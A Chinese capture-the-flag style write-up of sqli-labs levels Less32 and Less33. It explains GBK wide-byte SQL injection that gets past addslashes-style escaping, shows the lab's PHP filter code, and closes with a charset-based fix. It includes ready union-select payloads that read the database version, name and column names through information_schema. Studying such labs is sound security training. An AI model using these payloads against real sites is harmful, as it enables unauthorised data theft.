这两个题环境下的有问题，不显示

宽字节注入的原理和基本用法。
原理：mysql在使用GBK编码的时候，会认为两个字符为一个汉字，例如%aa%5c就是一个汉字（前一个ascii码大于128才能到汉字的范围）。
题目在过滤 ' 的时候，往往利用的思路是将 ' 转换为 \' （转换的函数或者思路会在每一关遇到的时候介绍）。
因此我们在此想办法将 ' 前面添加的 \ 除掉，一般有两种思路：
1. %df吃掉 \ 具体的原因是urlencode('\) = %5c%27，我们在%5c%27前面添加%df，形成%df%5c%27，而上面提到的mysql在GBK编码方式的时候会将两个字节当做一个汉字，此事%df%5c就是一个汉字，%27则作为一个单独的符号在外面，同时也就达到了我们的目的。
2. 将 \' 中的 \ 过滤掉，例如可以构造 %**%5c%5c%27的情况，后面的%5c会被前面的%5c给注释掉。这也是bypass的一种方法。

Less32:

```php
function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);         //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash


    return $string;
}
```

第一个\为转义字符，因此意思为将 ' 转为 \' ， 将 \ 转为 \\ ，将 " 转为 \"
解决方法为添加一个%df后，将%5c合在一起注释掉
?id=-1%E6' union select 1,version(),database() --+

使用十六进制编码就可以绕过了''使用0x 代替，users 使用十六进制编码得到7573657273，构造为0x7573657273
?id=-1%E6' union select 1,version(),group_concat(column_name)

from information_schema.columns where table_name =0x7573657273--+

Less33:

和Less32不同的一点是过滤函数使用了addslashes()

```php
include("../sql-connections/sql-connect.php");

function check_addslashes($string)
{
    $string= addslashes($string);
    return $string;
}
```

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是：

- 单引号（'）
- 双引号（"）
- 反斜杠（\）

提示：该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

Addslashes()函数和我们在32关实现的功能基本一致的，所以我们依旧可以利用%df进行绕过。

Notice：使用addslashes(),我们需要将mysql_query设置为binary的方式，才能防御此漏洞。

Mysql_query("SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary",$conn);

Less32的payloadLess33依然可以用